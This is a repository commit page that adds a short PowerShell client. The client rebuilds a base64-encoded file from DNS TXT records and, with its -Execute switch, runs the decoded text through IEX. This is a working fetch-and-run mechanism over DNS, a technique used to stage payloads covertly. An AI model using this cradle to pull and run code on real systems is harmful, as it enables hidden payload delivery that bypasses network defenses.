1
0
Fork 0

Add small powershell client

master
Simon Moser vor 3 Jahren committet von GitHub
Ursprung 1db4ffc6a2
Commit 3d65e69770
Es konnte kein GPG-Schlüssel zu dieser Signatur gefunden werden
GPG-Schlüssel-ID: 4AEE18F83AFDEB23

@ -0,0 +1,32 @@
Function Retrieve-DNSTXT {
[CmdletBinding()] param(
[string] $Domain
)
return (Resolve-DnsName -Type TXT $Domain | select Strings | Format-Table -HideTableHeaders | Out-String -Width 1000).Replace("{", "").Replace("}", "").Trim()
}
Function Retrieve-DNSFile {
[CmdletBinding()] param(
[string] $Filename,
[string] $DNSName,
[switch] $Execute,
[switch] $Write,
[string] $OutPath
)
$count = [int](Retrieve-DNSTXT -Domain "$Filename.count.$DNSName")
$file_base64 = ""
For ($i=0; $i -le $count; $i++) {
$file_base64 += (Retrieve-DNSTXT -Domain "$Filename.$i.$DNSName")
}
"Base64 $file_base64"
$file_string = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($file_base64))
"String $file_string"
If ($Execute.IsPresent) {
$file_string | IEX
} Else {
$file_string | Out-String
}
If ($Write.IsPresent) {
$file_string | Out-File -FilePath ($OutPath, $Filename)[!$OutPath]
}
}
Laden…
Abbrechen
Speichern